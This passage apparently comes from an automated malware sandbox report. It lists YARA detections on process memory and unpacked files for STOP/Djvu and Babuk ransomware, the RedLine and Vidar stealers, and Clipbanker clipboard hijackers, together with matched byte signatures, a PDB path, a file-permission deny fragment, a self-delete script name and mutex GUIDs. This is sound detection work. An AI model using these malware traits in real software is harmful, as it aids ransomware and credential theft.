0000001F.00000002.4097186671.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1afa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x1b87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1b87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1ead:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1f35:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
00000009.00000002.2184061996.0000000001D7E000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x1600:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000018.00000002.2489597512.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000018.00000002.2489597512.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000001C.00000002.3477780994.00000000009F1000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x6d14:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000001C.00000002.3477575756.0000000000970000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
0000001C.00000002.3477575756.0000000000970000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x27a3:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
0000001C.00000002.3477575756.0000000000970000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x249a:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x2527:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x2527:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x284d:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x28d5:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
00000009.00000002.2183817210.0000000001CE0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000001A.00000002.2837732300.00000000009C1000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x6c2c:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000001E.00000002.4097886310.0000000000970000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
0000001E.00000002.4097886310.0000000000970000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x27a3:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
0000001E.00000002.4097886310.0000000000970000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x249a:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x2527:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x2527:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x284d:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x28d5:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
00000000.00000002.2066901045.0000000005D90000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000000.00000002.2066901045.0000000005D90000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000005.00000002.2096673431.0000000005E50000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000005.00000002.2096673431.0000000005E50000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000E.00000002.2257030961.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000E.00000002.2257030961.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000E.00000002.2257030961.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000019.00000002.2501010675.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000019.00000002.2501010675.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000019.00000002.2501010675.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0000000C.00000002.2241405152.0000000005DF0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000C.00000002.2241405152.0000000005DF0000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000005.00000002.2096556256.0000000004239000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000013.00000002.2423775240.000000000097D000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x7564:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000018.00000002.2489371606.0000000004484000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000013.00000002.2423652569.0000000000930000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
00000013.00000002.2423652569.0000000000930000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x27a3:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
00000013.00000002.2423652569.0000000000930000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x249a:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x2527:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x2527:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x284d:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x28d5:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
00000007.00000002.2113665368.0000000005E20000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000007.00000002.2113665368.0000000005E20000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000007.00000002.2113503553.0000000004499000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000D.00000002.2322981212.000000000083D000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x73ec:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000001E.00000002.4098002454.0000000000A01000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x7b04:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.2066829815.0000000004430000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
Process Memory Space: rq0mVjR9ar.exe PID: 6764	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: rq0mVjR9ar.exe PID: 6764	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x397a6:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: rq0mVjR9ar.exe PID: 4324	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: rq0mVjR9ar.exe PID: 4324	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x60b29:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: rq0mVjR9ar.exe PID: 5792	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: rq0mVjR9ar.exe PID: 5792	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x3d0db:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: rq0mVjR9ar.exe PID: 1320	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: rq0mVjR9ar.exe PID: 1320	JoeSecurity_babuk	Yara detected Babuk Ransomware	Joe Security
Process Memory Space: rq0mVjR9ar.exe PID: 1320	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xec5bfc:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: rq0mVjR9ar.exe PID: 3984	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: rq0mVjR9ar.exe PID: 3984	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x41dac:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: rq0mVjR9ar.exe PID: 5156	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: rq0mVjR9ar.exe PID: 5156	JoeSecurity_babuk	Yara detected Babuk Ransomware	Joe Security
Process Memory Space: rq0mVjR9ar.exe PID: 5156	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x3aafe:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: build2.exe PID: 1908	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: build2.exe PID: 5644	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: build2.exe PID: 5644	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: build2.exe PID: 5644	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: rq0mVjR9ar.exe PID: 2496	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: rq0mVjR9ar.exe PID: 2496	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x4a4f4:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Click to see the 83 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
26.2.mstsca.exe.8515a0.1.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x603:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
26.2.mstsca.exe.8515a0.1.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x6ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x735:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
26.2.mstsca.exe.8515a0.1.raw.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
26.2.mstsca.exe.8515a0.1.raw.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
26.2.mstsca.exe.8515a0.1.raw.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
20.2.mstsca.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
20.2.mstsca.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
20.2.mstsca.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
16.2.build3.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
16.2.build3.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
16.2.build3.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
30.2.mstsca.exe.9715a0.1.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x603:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
30.2.mstsca.exe.9715a0.1.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x6ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x735:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
28.2.mstsca.exe.9715a0.1.raw.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
28.2.mstsca.exe.9715a0.1.raw.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
